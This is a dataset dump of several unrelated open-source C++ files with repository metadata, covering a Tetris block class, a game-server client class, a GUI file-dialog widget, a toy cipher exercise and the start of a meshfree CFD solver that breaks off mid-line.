#ifndef SFMLRIS_BLOCK_HPP #define SFMLRIS_BLOCK_HPP #include <vector> #include "BlockType.hpp" #include "BlockPiece.hpp" // https://gamedev.stackexchange.com/questions/17974/how-to-rotate-blocks-in-tetris class Block { public: Block(); explicit Block(BlockType type); BlockType getBlockType() const; const std::vector< BlockPiece > &getPieces() const; void setPivotPiece(const unsigned int &pivotPiece); void setPieces( const BlockPiece &piece1, const BlockPiece &piece2, const BlockPiece &piece3, const BlockPiece &piece4); void genericMovement(const int &xOffset, const int &yOffset); void moveDown(); void moveLeft(); void moveRight(); void rotate(); bool isInRow(const unsigned int &row); private: unsigned int pivotPiece = 0; std::vector< BlockPiece > pieces; BlockType blockType; }; #endif //SFMLRIS_BLOCK_HPP
25.45
83
0.624754
PawelWorwa
b0e06f6e9fa5d0ed60a4405ab3c1d94921280612
3,573
cpp
C++
GateServer/LClient.cpp
MBeanwenshengming/linuxgameserver
f03bf6ba0d625609c9654ddf0dc821386337e7dc
[ "MIT" ]
5
2018-04-02T07:16:20.000Z
2021-08-01T05:25:37.000Z
GateServer/LClient.cpp
MBeanwenshengming/linuxgameserver
f03bf6ba0d625609c9654ddf0dc821386337e7dc
[ "MIT" ]
null
null
null
GateServer/LClient.cpp
MBeanwenshengming/linuxgameserver
f03bf6ba0d625609c9654ddf0dc821386337e7dc
[ "MIT" ]
2
2015-08-21T07:31:41.000Z
2018-05-10T12:36:32.000Z
/* The MIT License (MIT) Copyright (c) <2010-2020> <wenshengming> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "LClient.h" LClient::LClient() { m_u64SessionID = 0; m_nRecvThreadID = 0; // 接收线程ID m_nSendThreadID = 0; // 发送线程ID memset(m_szIP, 0, sizeof(m_szIP)); // 服务器的IP m_usPort = 0; // 服务器的监听端口 m_u64UniqueIDInDB = 0; // 玩家的唯一帐号ID m_eClientState = E_Client_State_UnKnown; // 玩家当前的状态 m_u64CurrentServerUniqueID = 0; // 当前正在连接的服务器唯一ID memset(m_szUserID, 0, sizeof(m_szUserID)); } LClient::~LClient() { } void LClient::Reset() { m_u64SessionID = 0; m_nRecvThreadID = 0; // 接收线程ID m_nSendThreadID = 0; // 发送线程ID memset(m_szIP, 0, sizeof(m_szIP)); // 服务器的IP m_usPort = 0; // 服务器的监听端口 m_u64UniqueIDInDB = 0; // 玩家的唯一帐号ID m_eClientState = E_Client_State_UnKnown; // 玩家当前的状态 m_u64CurrentServerUniqueID = 0; // 当前正在连接的服务器唯一ID memset(m_szUserID, 0, sizeof(m_szUserID)); } void LClient::SetUniqueIDInDB(uint64_t u64UniqueIDInDB) { m_u64UniqueIDInDB = u64UniqueIDInDB; } uint64_t LClient::GetUniqueIDInDB() { return m_u64UniqueIDInDB; } void LClient::SetClientState(E_Client_State eClientState) { m_eClientState = eClientState; } E_Client_State LClient::GetClientState() { return m_eClientState; } void LClient::SetCurrentServerUniqueID(uint64_t u64ServerID) { m_u64CurrentServerUniqueID = u64ServerID; } uint64_t LClient::GetCurrentServerUniqueID() { return m_u64CurrentServerUniqueID; } void LClient::SetUserID(char* pszUserID) { if (pszUserID == NULL) { return; } strncpy(m_szUserID, pszUserID, MAX_USER_ID_LEN); } void LClient::GetUserID(char* pbuf, unsigned int unbufLen) { if (pbuf == NULL || unbufLen < MAX_USER_ID_LEN) { return ; } strncpy(pbuf, m_szUserID, MAX_USER_ID_LEN); } void LClient::SetSessionID(uint64_t u64SessionID) { m_u64SessionID = u64SessionID; } uint64_t LClient::GetSessionID() { return m_u64SessionID; } int LClient::GetSendThreadID() { return m_nSendThreadID; } void LClient::SetSendThreadID(int nSendThreadID) { m_nSendThreadID = nSendThreadID; } int LClient::GetRecvThreadID() { return m_nRecvThreadID; } void LClient::SetRecvThreadID(int nRecvThreadID) { m_nRecvThreadID = nRecvThreadID; } void LClient::SetServerIp(char* pServerIp, unsigned int unSize) { strncpy(m_szIP, pServerIp, sizeof(m_szIP) - 1); } void LClient::GetServerIp(char* pbuf, unsigned int unbufSize) { strncpy(pbuf, m_szIP, unbufSize); } void LClient::SetServerPort(unsigned short usServerPort) { m_usPort = usServerPort; } unsigned short LClient::GetServerPort() { return m_usPort; }
24.8125
77
0.757067
MBeanwenshengming
b0e38879be1feb23002c0026952afaec49ff7e08
16,008
cpp
C++
ToolkitNF/Widgets/FileDialogBoxWidget.cpp
SlyVTT/Widget_NF_Nspire_and_PC
cdf921cc931eaa99ed765d1640253e060bc259cb
[ "MIT" ]
3
2021-08-06T19:16:58.000Z
2021-08-07T10:32:15.000Z
ToolkitNF/Widgets/FileDialogBoxWidget.cpp
SlyVTT/Widget_NF_Nspire_and_PC
cdf921cc931eaa99ed765d1640253e060bc259cb
[ "MIT" ]
null
null
null
ToolkitNF/Widgets/FileDialogBoxWidget.cpp
SlyVTT/Widget_NF_Nspire_and_PC
cdf921cc931eaa99ed765d1640253e060bc259cb
[ "MIT" ]
null
null
null
#include "FileDialogBoxWidget.hpp" #include "../Managers/KeyManager.hpp" #include "../Managers/MouseManager.hpp" #include "../Renderers/ScreenRenderer.hpp" #include "../Engines/ColorEngine.hpp" #include "../Engines/FontEngine.hpp" #include <stdio.h> #include <dirent.h> #include <string.h> std::string simplify(std::string path) { // using vector in place of stack std::vector<std::string> v; int n = path.length(); std::string ans; for (int i = 0; i < n; i++) { std::string dir = ""; // forming the current directory. while (i < n && path[i] != '/') { dir += path[i]; i++; } // if ".." , we pop. if (dir == "..") { if (!v.empty()) v.pop_back(); } else if (dir == "." || dir == "") { // do nothing (added for better understanding.) } else { // push the current directory into the vector. v.push_back(dir); } } // forming the ans for (auto i : v) { ans += "/" + i; } // vector is empty if (ans == "") return std::string("/"); return ans; } FileDialogBoxWidget::FileDialogBoxWidget() { widgettype = "FileDialogBox"; typedialog = FileOpen; } FileDialogBoxWidget::~FileDialogBoxWidget() { //dtor } void FileDialogBoxWidget::SetDialogType( FileDialogBoxWidget::FileDialogType type ) { typedialog = type; if (type==FileOpen) { this->SetLabel( "File Open ..."); header_text->SetLabel("Pick a folder and a file to open :"); filelist->Enable(); bottom_text->SetLabel("The selected file is :"); } else if (type==FileSaveAs) { this->SetLabel( "File Save As ..."); header_text->SetLabel("Pick a folder for save location :"); filelist->Disable(); bottom_text->SetLabel("Name of the file (ending with .tns) :"); } else if (type==FileSave) { this->SetLabel( "File Save ..."); header_text->SetLabel("Pick a folder for save location :"); filelist->Disable(); bottom_text->SetLabel("Name of the file (ending with .tns) :"); } } FileDialogBoxWidget::FileDialogType FileDialogBoxWidget::GetDialogType( void ) { return typedialog; } std::string FileDialogBoxWidget::GetSelectedFilename() { return fileselected; }; std::string FileDialogBoxWidget::GetSelectedPath() { return pathtoexplore; }; std::string FileDialogBoxWidget::GetSelectedFullname() { return fullname; }; int FileDialogBoxWidget::ListDir( std::string path) { std::string name; struct dirent *ent; DIR *dir = opendir(path.c_str()); while((ent = readdir(dir))) { //Test whether it's a directory name = path+"/"+std::string(ent->d_name); DIR *test = opendir( name.c_str() ); if(test) // This is a directory and we add to the folder list widget { closedir(test); std::string temp(ent->d_name); folderlist->AddItem( (char*) temp.c_str() ); } else // this is a file and we add to the file list widget { std::string temp(ent->d_name); filelist->AddItem( (char*) temp.c_str() ); } } closedir(dir); return 0; } FileDialogBoxWidget::FileDialogBoxWidget( std::string l, unsigned int x, unsigned int y, unsigned int w, unsigned int h, Widget *p ): DialogBoxWidget( l, x, y, w, h, p ) { widgettype = "FileDialogBox"; typedialog = FileOpen; pathtoexplore = std::string( "/documents/Widget/" ); vertical_layout = new ContainerVWidget( "ContainerV", 1, 1, 1, 1, this ); header_text = new LabelWidget( "Pick a file",1,1,1,1, vertical_layout ); header_text->SetAlignment( LabelWidget::Left ); vertical_layout->AddConstraint( 10, (char*) "px" ); horizontal_split = new ContainerHWidget( "ContainerH", 1, 1, 1, 1, vertical_layout ); vertical_layout->AddConstraint( 100, (char*) "%" ); folderlist = new ListBoxWidget( "Folder List",1,1,1,1, horizontal_split ); horizontal_split->AddConstraint( 50, (char*) "%" ); space = new SpacerWidget( "Spacer",1,1,1,1, horizontal_split ); horizontal_split->AddConstraint( 5, (char*) "px" ); filelist = new ListBoxWidget( "File List",1,1,1,1, horizontal_split ); horizontal_split->AddConstraint( 50, (char*) "%" ); bottom_text = new LabelWidget( "Selected file",1,1,1,1, vertical_layout ); bottom_text->SetAlignment( LabelWidget::Left ); vertical_layout->AddConstraint( 10, (char*) "px" ); input_name = new InputWidget( ".",1,1,1,1, vertical_layout ); input_name->SetContent( (char *) pathtoexplore.c_str() ); vertical_layout->AddConstraint( 15, (char*) "px" ); //TO BE REMOVED - JUST FOR TESTING //space = new SpacerWidget( (char*) "Spacer",1,1,1,1, vertical_layout ); //vertical_layout->AddConstraint( 100, (char*) "%" ); horizontal_split_button = new ContainerHWidget( "ContainerH", 1, 1, 1, 1, vertical_layout ); vertical_layout->AddConstraint( 15, (char*) "px" ); space2 = new SpacerWidget( "Spacer",1,1,1,1, horizontal_split_button ); horizontal_split_button->AddConstraint( 100, (char*) "%" ); okbutton = new ButtonWidget( "OK",1,1,1,1, horizontal_split_button );; horizontal_split_button->AddConstraint( 70, (char*) "px" ); cancelbutton = new ButtonWidget( "Cancel",1,1,1,1, horizontal_split_button );; horizontal_split_button->AddConstraint( 70, (char*) "px" ); ListDir( (char *) pathtoexplore.c_str() ); this->Adjust(); } unsigned int FileDialogBoxWidget::GetUseableXPos() { return xpos + 2; } unsigned int FileDialogBoxWidget::GetUseableYPos() { return ypos + 14; // we just remove the size of the title bar (12px+2px = 14px) } unsigned int FileDialogBoxWidget::GetUseableWidth() { return width - 4; } unsigned int FileDialogBoxWidget::GetUseableHeight() { return height - 16; // we just remove the size of the title bar (12px + 2px + 2px = 16px) } bool FileDialogBoxWidget::IsMouseOnTitleBar(void ) { return ((unsigned int) MouseManager::GetX() >= xpos+2) && ((unsigned int) MouseManager::GetY() >= ypos+2) && ((unsigned int) MouseManager::GetX() <= xpos+width-32) && ((unsigned int) MouseManager::GetY() <= ypos+12); } void FileDialogBoxWidget::Logic( void ) { if (is_activated) { is_hovering = CursorOn( ); if(is_hovering) { if (hoverfunction) hoverfunction( (char*) "test" ); } bool ontitle = false; if (IsMouseOnTitleBar( )) { MouseManager::SetCursorType( MouseManager::Cursor_Handfinger ); ontitle = true; } else { MouseManager::SetCursorType( MouseManager::Cursor_Pointer ); } if (ontitle && KeyManager::kbSCRATCH() && !startmove) { movemode = true; startmove = true; clickX = MouseManager::GetX(); clickY = MouseManager::GetY(); } else if (ontitle && KeyManager::kbSCRATCH() && startmove) { movemode = true; } else { movemode = false; startmove = false; } // Here comes the resize Logic // DialopBow cannot be resized // Here comes the move Logic ... if (movemode && IsMouseOnTitleBar( )) { MouseManager::Logic(); int deltax = (int) MouseManager::GetX() - (int) clickX; int deltay = (int) MouseManager::GetY() - (int) clickY; //we go left if (deltax < 0) { //if ((int) xpos > (int) (-1 * deltax)) xpos += deltax; if ((int) (xpos + deltax) > (int) parent->GetUseableXPos() ) xpos += deltax; } //we go up if (deltay < 0) { //if ((int) ypos > (int) (-1 * deltay)) ypos += deltay; if ((int) (ypos + deltay) > (int) parent->GetUseableYPos() ) ypos += deltay; } //we go right if (deltax > 0) { //if ((int) (SCREEN_WIDTH - xpos - width) > (int) (deltax)) xpos += deltax; if ((int) (parent->GetUseableXPos() + parent->GetUseableWidth() - xpos - width) > (int) (deltax)) xpos += deltax; } //we go down if (deltay > 0) { //if ((int) (SCREEN_HEIGHT - ypos - height) > (int) (deltay)) ypos += deltay; if ((int) (parent->GetUseableYPos() + parent->GetUseableHeight() - ypos - height) > (int) (deltay)) ypos += deltay; } Adjust(); clickX = MouseManager::GetX(); clickY = MouseManager::GetY(); } for (auto& c : children ) c->Logic( ); if (folderlist->validated) { //strcat( pathtoexplore, folderlist->getselecteditem() ); //strcpy(pathtoexplore, simplify(pathtoexplore) ); //strcat( pathtoexplore, "/" ); pathtoexplore = simplify(pathtoexplore+std::string(folderlist->GetSelectedItem()) )+"/"; folderlist->Flush(); filelist->Flush(); folderlist->validated = false; ListDir( pathtoexplore ); input_name->SetContent( pathtoexplore.c_str() ); } if (filelist->validated) { fileselected = std::string( filelist->GetSelectedItem() ); filelist->validated = false; fullname = pathtoexplore+fileselected; input_name->SetContent( fullname.c_str() ); } if (okbutton->IsPressed()) { validated = true; canceled = false; this->SetInvisible(); } if (cancelbutton->IsPressed()) { validated = false; canceled = true; this->SetInvisible(); } // No PopUpChild } } void FileDialogBoxWidget::Render( void ) { if (is_visible) { if (is_enabled) { ScreenRenderer::DrawFilledRoundedRectangle( xpos, ypos, xpos+width, ypos+height, 3, ColorEngine::GetColor(ColorEngine::Widget_Filling_Enable) ); ScreenRenderer::DrawFilledRoundedRectangle( xpos, ypos, xpos+width, ypos+12, 3, ColorEngine::GetColor(ColorEngine::Window_Titlebar_Enable) ); if (!is_hovering) { ScreenRenderer::DrawRoundedRectangle( xpos, ypos, xpos+width, ypos+height, 3, ColorEngine::GetColor(ColorEngine::Widget_Border_Enable) ); } else { ScreenRenderer::DrawRoundedRectangle( xpos, ypos, xpos+width, ypos+height, 3, ColorEngine::GetColor(ColorEngine::Widget_Border_Cursoron) ); } FontEngine::SetCurrentFontSet( FontEngine::Window_Titlebartext_Enable ); drawablecharlabel = FontEngine::AssertStringLength( label, width-5-5-30 ); if (drawablecharlabel!=0) { drawablelabel = FontEngine::ReduceStringToVisible( label, width-5 -5 -30 ); //int sl = fonts->getstringwidth( drawablelabel ); int sh = FontEngine::GetStringHeight( drawablelabel ); FontEngine::DrawStringLeft( drawablelabel, xpos+5, ypos+sh/2, ColorEngine::GetColor(ColorEngine::Window_Titlebartext_Enable) ); } } else { ScreenRenderer::DrawFilledRoundedRectangle( xpos, ypos, xpos+width, ypos+height, 3, ColorEngine::GetColor(ColorEngine::Widget_Filling_Disable) ); ScreenRenderer::DrawFilledRoundedRectangle( xpos, ypos, xpos+width, ypos+12, 3, ColorEngine::GetColor(ColorEngine::Window_Titlebar_Disable) ); ScreenRenderer::DrawRoundedRectangle( xpos, ypos, xpos+width, ypos+height, 3, ColorEngine::GetColor(ColorEngine::Widget_Border_Disable) ); FontEngine::SetCurrentFontSet( FontEngine::Window_Titlebartext_Disable ); drawablecharlabel = FontEngine::AssertStringLength( label, width-5-5-30 ); if (drawablecharlabel!=0) { drawablelabel = FontEngine::ReduceStringToVisible( label, width-5 -5 -30 ); //int sl = fonts->getstringwidth( drawablelabel ); int sh = FontEngine::GetStringHeight( drawablelabel ); FontEngine::DrawStringLeft( drawablelabel, xpos+5, ypos+sh/2, ColorEngine::GetColor(ColorEngine::Window_Titlebartext_Disable) ); } } /* // THIS IS FOR DEBUGGING THE DEPTH BUFFER PORTION OF THE CODE char* tempID; sprintf( tempID, "ID = %ld", WidgetID ); fonts->setcurrentfont( THIN_FONT ); fonts->setmodifiertypo( Bold ); fonts->drawstringleft( screen, tempID, xpos+2, ypos+4, 255, 0, 0, 255 ); */ for (auto& c : children ) { if (c->IsVisible()) { c->Render( ); } } // No PopUpChild to be drawn in DialogBox } }
35.337748
224
0.47595
SlyVTT
b0ee87030db89e4bc7f3def729e07a763006d07d
659
hpp
C++
src/monte/monte_Generator.hpp
psettle/madmax
74870137ae8c7c8664c5e128c1ecfedc7532041b
[ "MIT" ]
null
null
null
src/monte/monte_Generator.hpp
psettle/madmax
74870137ae8c7c8664c5e128c1ecfedc7532041b
[ "MIT" ]
null
null
null
src/monte/monte_Generator.hpp
psettle/madmax
74870137ae8c7c8664c5e128c1ecfedc7532041b
[ "MIT" ]
null
null
null
/** * Generate move sequences */ #pragma once #include <stdlib.h> #include "engine_Move.hpp" namespace monte { class Generator { public: Generator(double skill_fraction, double wait_fraction) : skill_fraction_(skill_fraction), wait_fraction_(wait_fraction) {} void GetSequence(Vector const& origin, int count, engine::Sequence moves_out); private: engine::Move GetMove(Vector const& origin); static double r(double min = -1.0, double max = 1.0) { double f = (double)rand() / RAND_MAX; return min + f * (max - min); } double skill_fraction_; double wait_fraction_; }; } // namespace monte
21.258065
81
0.666161
psettle
b0eeffae0480fff0272f8762a9d35eef21ce7861
911
cpp
C++
codelib/cipher.cpp
TissueRoll/admu-progvar-notebook
efd1c48872d40aeabe2b03af7b986bb831c062b1
[ "MIT" ]
null
null
null
codelib/cipher.cpp
TissueRoll/admu-progvar-notebook
efd1c48872d40aeabe2b03af7b986bb831c062b1
[ "MIT" ]
null
null
null
codelib/cipher.cpp
TissueRoll/admu-progvar-notebook
efd1c48872d40aeabe2b03af7b986bb831c062b1
[ "MIT" ]
null
null
null
#include <iostream> #include <string> char rot(char c, int k) { return (c - 'a' + k) % 26 + 'a'; } std::string cipher_a(std::string s, int key) { for (char &c : s) if ('a' <= c and c <= 'z') c = rot(c, key); return s; } char xor_c(char c, int key) { //std::cout<<c<<" "<<(c - 'a')<<" "<<((c - 'a') ^ key)<<" "<<char(((c - 'a') ^ key) + 'a')<<"\n"; return ((c - 'a') ^ key) + 'a'; } std::string cipher_b(std::string s, int key) { for (char &c : s) if (c != ' ') c = xor_c(c, key); return s; } int main() { std::cout<<cipher_a("dear future me", 13)<<"\n"; for (int k = 1; k <= 10; ++k) std::cout<<cipher_b("qwertyuiopasdfghjklzxcvbnm", k)<<"\n"; std::cout<<cipher_b("when youve already lost all hope", 1)<<"\n"; std::cout<<cipher_b("just believe in me who believes in you", 1)<<"\n"; std::cout<<cipher_b("btw are you still with joan", 1)<<"\n"; return 0; }
24.621622
99
0.518112
TissueRoll
b0f12ca22f0806f2afeccffe523f5b569a94ec99
451
cpp
C++
02. Bit Manipulation/05 One Odd Occurring/05 one odd occurring.cpp
VivekYadav105/Data-Structures-and-Algorithms
7287912da8068c9124e0bb89c93c4d52aa48c51f
[ "MIT" ]
190
2021-02-10T17:01:01.000Z
2022-03-20T00:21:43.000Z
02. Bit Manipulation/05 One Odd Occurring/05 one odd occurring.cpp
VivekYadav105/Data-Structures-and-Algorithms
7287912da8068c9124e0bb89c93c4d52aa48c51f
[ "MIT" ]
null
null
null
02. Bit Manipulation/05 One Odd Occurring/05 one odd occurring.cpp
VivekYadav105/Data-Structures-and-Algorithms
7287912da8068c9124e0bb89c93c4d52aa48c51f
[ "MIT" ]
27
2021-03-26T11:35:15.000Z
2022-03-06T07:34:54.000Z
#include<bits/stdc++.h> using namespace std; //find the element which occurs only once //trick 1 : xor of two same numbers gives zero //trick 2 : xor of zero with any number returns the number int oneOdd(int a[], int n)//time comp. O(n) { int X = 0; for (int i = 0; i < n; i++) { X = X ^ a[i]; } return X; } int main() { int a[] = {1, 9, 2, 8, 3, 1, 9, 2, 8}; int n = sizeof(a) / sizeof(int); cout << oneOdd(a, n) << endl; return 0; }
16.703704
58
0.578714
VivekYadav105
b0f1e7c1ef0209d8e34ce4b198441511f472d917
13,115
cpp
C++
src/Misc/main.cpp
Scientific-Computing-BPHC/Meshfree_Adjoint_cpp
8afe99007b08e6a21563c44f09e972a260fb5b94
[ "MIT" ]
null
null
null
src/Misc/main.cpp
Scientific-Computing-BPHC/Meshfree_Adjoint_cpp
8afe99007b08e6a21563c44f09e972a260fb5b94
[ "MIT" ]
null
null
null
src/Misc/main.cpp
Scientific-Computing-BPHC/Meshfree_Adjoint_cpp
8afe99007b08e6a21563c44f09e972a260fb5b94
[ "MIT" ]
null
null
null
// Note, from test.cpp we have the solver to work without segfault issues for upto 8000 such Point Structs // And, here we don't have segfault upto 6000 points // So continue with the solver for 4k points instead of 40k points. Create a 4k version and run the solver // Match the Julia and C++m outputs for 4k points now, and then you can think about 40k points later, what say? #include<stdio.h> #include<iostream> #include<math.h> #include <unistd.h> #include <armadillo> // #include <json/json.h> // #include <json/value.h> #include <fstream> #include<map> #include<string> #include<iomanip> #include<limits> #include<string> #include<regex> #include <sstream> #define ARMA_DONT_PRINT_ERRORS using namespace arma; typedef std::map<char, float> char_float_map; typedef std::map<char, double> char_double_map; typedef std::vector<std::string> vec_str; typedef std::vector<double> vec_doub; typedef std::vector<long double> vec_ldoub; //typedef std::numeric_limits< double > dbl; bool debug_mode = true; struct Point { int localID; double x, y; int left, right; int flag_1, flag_2; // Int8 in the Julia code double short_distance; int nbhs; int conn[20]; double nx, ny; // Size 4 (Pressure, vx, vy, density) x numberpts double prim[4]; double flux_res[4]; double q[4]; // Size 2(x,y) 4(Pressure, vx, vy, density) numberpts double dq1[4]; double dq2[4]; double entropy; int xpos_nbhs, xneg_nbhs, ypos_nbhs, yneg_nbhs; int xpos_conn[20]; int xneg_conn[20]; int ypos_conn[20]; int yneg_conn[20]; double delta; double max_q[4]; double min_q[4]; double prim_old[4]; //Point Constructor Point() {} }; struct Config { struct Core { int points; double cfl; int max_iters; double mach; double aoa; double power; int limiter_flag; double vl_const; int initial_conditions_flag; int interior_points_normal_flag; double shapes; double rho_inf; double pr_inf; int threadsperblock; double gamma; int clcd_flag; Core() {} }; struct PointConfig { int wall, interior, outer; PointConfig() {} }; struct Format { char* type; Format() {} }; Core core = Core(); PointConfig point_config = PointConfig(); Format format = Format(); Config() {} void setConfig() { core.points = 9600; core.cfl = 0.5; core.max_iters = 10; core.mach = 1.2; core.aoa = 0.0; core.power = 0.0; core.limiter_flag = 0; core.vl_const = 200.0; core.initial_conditions_flag = 0; core.interior_points_normal_flag = 0; core.shapes = 0.0; core.rho_inf = 0.0; core.pr_inf = 0.7142857142857142; core.threadsperblock = 128; core.gamma = 1.4; core.clcd_flag = 0; point_config.wall = 0; point_config.interior = 1; point_config.outer = 2; format.type = "quadtree"; } void printConfig() { cout<<"Core points: "<<core.points<<endl; cout<<"Core cfl: "<<core.cfl<<endl; cout<<"Core max_iters: "<<core.max_iters<<endl; cout<<"Core mach: "<<core.mach<<endl; cout<<"Core aoa: "<<core.aoa<<endl; cout<<"Core power: "<<core.power<<endl; cout<<"Core limiter_flag: "<<core.limiter_flag<<endl; cout<<"Core vl_const: "<<core.vl_const<<endl; cout<<"Core initial_conditions_flag: "<<core.initial_conditions_flag<<endl; cout<<"Core interior_points_normal_flag: "<<core.interior_points_normal_flag<<endl; cout<<"Core shapes: "<<core.shapes<<endl; cout<<"Core rho_inf: "<<core.rho_inf<<endl; cout<<"Core pr_inf: "<<core.pr_inf<<endl; cout<<"Core threadsperblock: "<<core.threadsperblock<<endl; cout<<"Core gamma: "<<core.gamma<<endl; cout<<"Core clcd_flag: "<<core.clcd_flag<<endl; cout<<"Config wall: "<<point_config.wall<<endl; cout<<"Config interior: "<<point_config.interior<<endl; cout<<"Config outer: "<<point_config.outer<<endl; cout<<"Format type: "<<format.type<<endl; } }; void meshfree_solver(char* file_name, int num_iters); //void getConfig(Json::Value &config); //void set_manual_config(std::map<char, char_float_map> &config); void getInitialPrimitive(Config configData, double primal[4]); void printPrimal(double primal[4]); double calculateTheta(Config configData); std::string readFile(char* file_name); int main(int argc, char **argv) { printf("Meshfree AD\n"); /* initialize random seed*/ srand (time(NULL)); arma_rng::set_seed_random(); meshfree_solver(argv[1], (int)argv[2]); //Warning: Casting from char to int loses precision //Gotta see if maintaining a global array id efficient or if passing around by reference is efficient //For all we know, maintaining a global data structure instead of passing it around might be more efficient } #if 0 void getConfig(Json::Value &config) { std::ifstream config_file("../config.json", std::ifstream::binary); config_file>>config; cout<<config; config["format"] = "quadtree"; } void set_manual_config(std::map<char, char_double_map> &config) { char_double_map core_config = { {'1', 9600}, {'2', 0.5}, {'3', 10}, {'4', 1.2}, {'5', 0.0}, {'6', 0.0}, {'7', 1}, {'8', 200.0}, {'9', 0}, {'A', 0}, {'B', 1.0}, {'C', 1.0}, {'D', 0.7142857142857142}, {'E', 128}, {'F', 1.4}, {'G', 0} }; char_double_map point_config = { {'1', 0}, {'2', 1}, {'3', 2} }; // Gotta typecast these values back to int, or use templating appropriately later. char_double_map format_config = { {'1', 1} // Type 1 refers to Quadtree, Type 0 refers to non-quadtree }; config = { { '1', core_config }, { '2', point_config }, { '3', format_config } }; For reference: { "core":{ "points":9600, // 1 "cfl": 0.5, // 2 "max_iters": 10, // 3 "mach": 1.2, // 4 "aoa": 0.0, // 5 "power": 0.0, // 6 "limiter_flag": 1, // 7 "vl_const": 200.0, // 8 "initial_conditions_flag": 0, // 9 "interior_points_normal_flag": 0, // 10 "shapes": 1.0, // 11 "rho_inf": 1.0, // 12 "pr_inf": 0.7142857142857142, // 13 "threadsperblock": 128, // 14 "gamma": 1.4, // 15 "clcd_flag": 0 // 16 }, "point":{ "wall": 0, "interior": 1, "outer": 2 }, "format":{ "type":"quadtree" } } } #endif std::string readFile(char* file_name) { std::string gridfile, tp; std::fstream datafile(file_name, ios::in); if(datafile.is_open()) { cout<<"File opened"<<endl; //read the file while(getline(datafile, tp)) { //cout<<"Data File: \n"<<tp<<endl; gridfile.append(tp); gridfile.append("\n"); } } //cout<<"Grid file: \n"<<gridfile<<endl; datafile.close(); return gridfile; } inline double deg2rad(double radians) { return radians * (180.0 / M_PI); } double calculateTheta(Config configData) { double theta = deg2rad(configData.core.aoa); return theta; } void getInitialPrimitive(Config configData, double primal[4]) { primal[0] = configData.core.rho_inf; double mach = configData.core.mach; double machcos = mach * cos(calculateTheta(configData)); double machsin = mach * sin(calculateTheta(configData)); primal[1] = machcos; primal[2] = machsin; primal[3] = configData.core.pr_inf; } void printPrimal(double primal[4]) { cout<<"Printing Primal: "<<endl; for(int i=0; i<4; i++) cout<<std::fixed<<std::setprecision(20)<<primal[i]<<" "; cout<<"\n"; } void meshfree_solver(char* file_name, int max_iters) { //cout << std::setprecision(18); //Json::Value configData = getConfig(Json::Value configData); // Assuming config file is located at "../config.json" //std::cout << std::setprecision(17); // Show 17 digits of precision //cout.precision(17); #if 0 std::map<char, char_double_map> configData; set_manual_config(configData); if(configData['1']['F'] == 1.45) cout<<"All good"<<endl; else cout<<"Values Changed"<<endl; std::cout<<"Checking config read: "<<endl; cout<<"gamma "<<configData['1']['F']<<endl; std::streamsize ss = std::cout.precision(); cout.precision(dbl::max_digits10); cout<<std::fixed<<"pr_inf "<<configData['1']['D']<<endl; // Shows 0.71428...29. Why am I getting the extra 9 cout.precision(ss); cout<<"gamma "<<configData['1']['F']<<endl; cout<<"threadsperblock "<<configData['1']['E']<<endl; if(configData['1']['F'] == 1.39999997615814209) cout<<"Values Changed"<<endl; else cout<<"All good"<<endl; // For some reason this double works well but float doesn't // Please note that setprecision only changes what we display through cout, the internal representation used for comparisons anol is still ABSOLUTELY THE SAME. double gamma = 1.4; cout<<gamma<<endl; double pr_inf = 0.7142857142857142; cout<<pr_inf<<endl; if(gamma == 1.4) cout<<"All good"<<endl; else cout<<"Values Changed"<<endl; if(pr_inf == 0.7142857142857142) cout<<"All good"<<endl; else cout<<"Values Changed"<<endl; cout.precision(dbl::max_digits10); cout<<pr_inf<<endl; if(gamma == 1.4) cout<<"All good"<<endl; else cout<<"Values Changed"<<endl; if(pr_inf == 0.7142857142857142) cout<<"All good"<<endl; else cout<<"Values Changed"<<endl; #endif Config configData = Config(); configData.setConfig(); if (debug_mode) configData.printConfig(); std::string format = configData.format.type; if (debug_mode) cout<<"Format: "<<format<<endl; cout<<"Filename: "<<file_name<<endl; // fmat data; // bool load_ok = data.load(file_name); // //int end = 1; // //int numPoints = data.submat(0, 0, 0, end); // if (debug_mode) // { // cout<<"No. of rows: "<<data.n_rows<<endl; // cout<<"No. of columns: "<<data.n_cols<<endl; // } //std::string gridfile = readFile(file_name); //cout<<gridfile[0]<<endl<<gridfile[1]<<endl<<gridfile[2]<<endl; int numPoints = 0; std::fstream datafile(file_name, ios::in); // if(datafile.is_open()) // { // cout<<"File opened"<<endl; // for(int i=0; i<5; i++) // { // getline(datafile, new_file[i]); // } // } // for(int i=0; i<5; i++) // { // cout<<new_file[i]<<endl; // } if(datafile.is_open()) { std::string temp; getline(datafile, temp); std::stringstream num(temp); num >> numPoints; } std::string new_file[numPoints], temp; if(datafile.is_open()) { for(int i=0; i<numPoints; i++) { getline(datafile, new_file[i]); } } datafile.close(); //cout<<new_file[1][0]<<endl; cout<<"No. of points: "<<numPoints<<endl; std::regex ws_re("\\s+"); std::vector<vec_str> result; for(int i=0; i<numPoints; i++) // This might include the first line as well so, you need to store that separately or just throw the 1st line away (the one that contains the file length) // There are 48738 lines apart from that { std::vector<std::string> temp{std::sregex_token_iterator(new_file[i].begin(), new_file[i].end(), ws_re, -1), {}}; result.push_back(temp); } #if 0 for(int j=0; j<numPoints; j++) { for (int i=0; i<result[j].size(); i++) cout<<"Result: "<<j<<" " <<i<<" "<<result[j][i]<<endl; } #endif std::vector<vec_doub> result_doub; for(int j=0; j<numPoints; j++) { vec_doub temp; for (int i=0; i<result[j].size(); i++) temp.push_back(std::stod(result[j][i])); result_doub.push_back(temp); } #if 0 for(int j=0; j<20; j++) { for (int i=0; i<result_doub[j].size(); i++) cout<<std::fixed<<std::setprecision(20)<<"Result Doub: 